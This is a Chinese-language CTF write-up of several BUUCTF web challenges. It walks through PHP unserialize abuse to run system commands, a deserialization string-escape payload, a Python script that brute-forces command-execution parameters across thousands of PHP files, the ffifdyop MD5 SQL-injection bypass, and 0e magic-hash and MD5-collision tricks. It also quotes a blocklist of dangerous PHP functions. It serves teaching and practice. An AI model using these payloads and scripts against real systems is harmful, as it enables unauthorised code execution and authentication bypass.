BUUCTF (北京联合大学CTF)平台拥有大量免费的 CTF 比赛真题环境:
1、创建并访问靶机:
2、页面不断地刷新,也没看到什么有用的提示和信息,抓包看一下:
3、上面POST请求中,date 是php中一个获取时间的函数,而后面的p参数用于获取当地的时间。利用 func 和 p 的传参,可以执行我们想要的函数。于是试一下eval / assert /system
,结果发现被禁了(提示为Hacker):
func=file_get_contents&p=index.php
func=highlight_file&p=index.php
这两个函数没有被禁,我们都可以得到源码:
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval",
"proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array",
"call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function",
"filter_var", "filter_var_array", "uasort", "uksort","array_reduce","array_walk", "array_walk_recursive","pcntl_exec",
"fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {
return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
可以看到,基本上可以得到webshell的危险函数全被禁止了。
5、仔细阅读源码发现一个类 Test,里面有一个析构函数,可以执行我们想要的函数,依然是传参函数名+参数。并且没有过滤 func,联想到反序列化后会执行析构函数,那么我们可以构造一个序列化的字符串,传入我们想要执行的危险函数。于是构造payload:
func=unserialize&p=O:4:"Test":2:{
s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}
其EXP如下:
class Test {
var $p = "ls /";
var $func = "system";
}
$a = new Test();
echo serialize($a);
//unserialize
?>
执行结果如下图所示:
6、使用命令find / -name flag*
查找flag的位置:
7、执行命令cat /tmp/flagoefiu4r93
读取flag:
1、创建并访问靶机:
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo 'source_code';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
3、分析以上代码,提示参数 f=phpinfo 时会发现一些东西,于是我们让 f=phpinfo ,发现在 php.ini 里藏了一个文件 d0g3_f1ag.php:
看样子我们要放办法去读取里面的内容,直至于怎么去读取呢,我们需要进一步分析。代码最后一行有一个file_get_contents
是能够读取文件的函数,但读取是有前提的:
base64_decode($userinfo[‘img’])=d0g3_f1ag.php
;$userinfo[‘img’]=ZDBnM19mMWFnLnBocA==
;$userinfo
又是通过$serialize_info
反序列化来的,$serialize_info
又是通过 $session 序列化之后再过滤得来的。如果我们没有传入img_path,那么后台将默认赋值为 guest_img.png 的base64编码。这样看来这个$userinfo['img']
并不是我们可控的,此时需要把注意力转移到另外一个函数 serialize 上,这里有一个很明显的漏洞点,数据经过序列化了之后又经过了一层过滤函数,就是数组里提到的'php','flag','php5','php4','fl1g'
都会被空格替代,而这层过滤函数会干扰序列化后的数据。
4、先来了解下 php反序列化字符逃逸
在php中,反序列化的过程中必须严格按照序列化规则才能成功实现反序列化,例如:
$str='a:2:{i:0;s:8:"Hed9eh0g";i:1;s:5:"aaaaa";}';
var_dump(unserialize($str));
?>
输出结果:
array(2) {
[0]=> string(8) "Hed9eh0g"
[1]=> string(5) "aaaaa"
}
一般我们会认为,只要增加或去除str的任何一个字符都会导致反序列化的失败。 但是事实并非如此,如果我们在str结尾的花括号后再增加一些字符呢?例如:
仍然可以输出上面的结果,这说明反序列化的过程是有一定识别范围的,在这个范围之外的字符(第二个例子里的abc)都会被忽略,不影响反序列化的正常进行。
5、接下来看看下面的例子:
$_SESSION["user"]='flagflagflagflagflagflag';
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
echo serialize($_SESSION);
?>
结果为:
a:3:{
s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
假设后台存在一个过滤机制,会将含flag字符替换为空,那么以上序列化字符串过滤结果为:
a:3:{
s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
将这串字符串进行序列化会得到什么?
这个时候关注第二个s所对应的数字,本来由于有6个flag字符所以为24,现在这6个flag都被过滤了,那么它将会尝试向后读取24个字符看看是否满足序列化的规则,也即读取;s:8:"function";s:59:"a
,读取这24个字符后以”;
结尾,恰好满足规则,而后第三个s向后读取img的20个字符,第四个、第五个s向后读取均满足规则,所以序列化结果为:
array(3) {
["user"]=> string(24) "";s:8:"function";s:59:"a"
["img"]=> string(20) "ZDBnM19mMWFnLnBocA=="
["dd"]=> string(1) "a"
}
写成数组形式也即:
$_SESSION["user"]='";s:8:"function";s:59:"a';
$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';
$_SESSION["dd"]='a';
可以发现,SESSION数组的键值img对应的值发生了改变。
设想,如果我们能够控制原来SESSION数组的 funcion 的值但无法控制 img 的值,我们就可以通过这种方式间接控制到 img 对应的值。这个感觉就像SQL 注入一样,他本来想读取的base64编码是: L2QwZzNfZmxsbGxsbGFn,但是由于过滤掉了flag,向后读取的过程中把键值 function 放到了第一个键值的内容里面,用ZDBnM19mMWFnLnBocA==代替了真正的base64编码,读取了 d0g3_f1ag.php 的内容。而识别完成后最后面的";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
被忽略掉了,不影响正常的反序列化过程。
6、回到题目,来看看最终的Payload:
GET: f=show_image;
Post: _SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}
分析一下,指定了各个参数的值,正常的序列化过程为:
$_SESSION["user"]='flagflagflagflagflagflag';
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';
$_SESSION["img"] = base64_encode('guest_img.png');
echo serialize($_SESSION);
?>
由于过滤机制,那么序列化之后:
提示在 d0g3_fllllllag 里,base_encode(/d0g3_fllllllag)=L2QwZzNfZmxsbGxsbGFn
修改一下payload即可:
1、创建并访问靶机:
2、根据题目提示,访问并下载 www.tar.gz:
打开压缩包,发现有3000多个php文件,尝试搜索flag文件,未果。于是打开php文件进行代码审计,发现代码中存在大量使用 system()/eval()/assert()
等函数执行 get 或 post 传递的参数,这意味我们也许可以通过传递参数的方式来执行任意命令。
尝试直接在URL构造语句尝试传递参数,页面无法返回正确的输出结果。由于php文件过多和每个文件的参数过多,因此需要编写一个脚本来进行爆破,找出行之有效的参数。
3、此处附上大佬的 Python 自动化脚本:
# -*- coding: utf8 -*-
import os
import requests
import re
import time
import io
def read_file(path, command): #遍历文件找出所有可用的参数
with io.open(path,encoding="utf-8") as file:
f = file.read()
params = {
}
pattern = re.compile("(?<=\$_GET\[').*?(?='\])") #match get
for name in pattern.findall( f ):
params[name] = command
data = {
}
pattern = re.compile("(?<=\$_POST\[').*?(?='\])") #match get
for name in pattern.findall( f ):
data[name] = command
return params, data
def url_explosion(url, path, command): #确定有效的php文件
params, data = read_file(path,command)
try:
r = requests.session().post(url, data = data, params = params)
if r.text.find("haha") != -1 :
print(url,"\n")
find_params(url, params, data)
except:
print(url,"异常")
def find_params(url, params, data): #确定最终的有效参数
try:
for pa in params.keys():
temp = {
pa:params[pa]}
r = requests.session().post(url, params = temp)
if r.text.find("haha") != -1 :
print(pa)
os.system("pause")
except:
print("error!\n")
try:
for da in data.items():
temp = {
da:data[da]}
r = requests.session().post(url, data = temp)
if r.text.find("haha") != -1 :
print(da)
os.system("pause")
except:
print("error!\n")
rootdir = "C:\Users\True\Downloads\www\src" #php文件存放地址
list = os.listdir(rootdir)
for i in range(0, len(list)):
path = os.path.join(rootdir ,list[i])
name = list[i].split('-2')[0] #获取文件名
url = "http://d0c4841b-992a-4800-8e44-2527f2e8a966.node3.buuoj.cn/" + name
url_explosion(url,path,"echo haha")
单线程的脚本,跑完大概花了10分钟……
1、看看题目链接:
2、感觉是sql注入,但是注不出来,试着抓包发现提示 hint:
select * from 'admin' where password=md5($pass,true)
就是说我们输入$pass时,首先会被md5加密,然后会被转换成16字符的二进制格式。百度后发现这个可以用ffifdyop
绕过,绕过原理是:ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,而 Mysql 刚好又会把 hex 转成 ASCII 解释,这个字符串前几位刚好是' or '6
,因此拼接之后的形式是select * from 'admin' where password='' or '6xxxxx'
,等价于 or 一个永真式,因此相当于万能密码,可以绕过 md5() 函数。
3、提交 ffifdyop 进行查询,跳转下一页面:
典型的 md5 碰撞嘛,这个是弱比较,所以可以用md5值为0e开头的来撞。
【MD5弱碰撞】 PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。攻击者可以利用这一漏洞,通过输入一个经过哈希后以”0E”开头的字符串,即会被PHP解释为0,如果数据库中存在这种哈希值以”0E”开头的密码的话,他就可以以这个用户的身份登录进去,尽管并没有真正的密码。
这里提供一些 md5 以后是 0e 开头的值:
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
4、于是构造http://37d8016d-643c-4764-8e62-c8a24e224a75.node3.buuoj.cn/levels91.php?a=QNKCDZO&b=s878926199a
即可绕过并跳转到新的页面:
(1)可以利用数组:md5强比较,此时如果传入的两个参数不是字符串,而是数组,md5()函数无法解出其数值,而且不会报错,就会得到===强比较的值相等。故构造:param1[]=111¶m2[]=222
即可。
【解析】md5() 或者 sha1() 之类的哈希函数计算的是一个字符串的哈希值,对于数组则返回 false,如果
$param1
和$param2
都是数组则双双返回 FALSE, 两个 FALSE 相等故得以绕过。
(2)利用 md5 值的强碰撞:找到两个md5值相同的字符串即可。
d131dd02c5e6eec4693d9a0698aff95c
2fcab58712467eab4004583eb8fb7f89
55ad340609f4b30283e488832571415a
085125e8f7cdc99fd91dbdf280373c5b
d8823e3156348f5bae6dacd436c919c6
dd53e2b487da03fd02396306d248cda0
e99f33420f577ee8ce54b67080a80d1e
c69821bcb6a8839396f9652b6ff72a70
d131dd02c5e6eec4693d9a0698aff95c
2fcab50712467eab4004583eb8fb7f89
55ad340609f4b30283e4888325f1415a
085125e8f7cdc99fd91dbd7280373c5b
d8823e3156348f5bae6dacd436c919c6
dd53e23487da03fd02396306d248cda0
e99f33420f577ee8ce54b67080280d1e
c69821bcb6a8839396f965ab6ff72a70
两段数据的MD5均为:
79054025255fb1a26e4bc422aef54eb4
这里采用第一个方法获得Flag: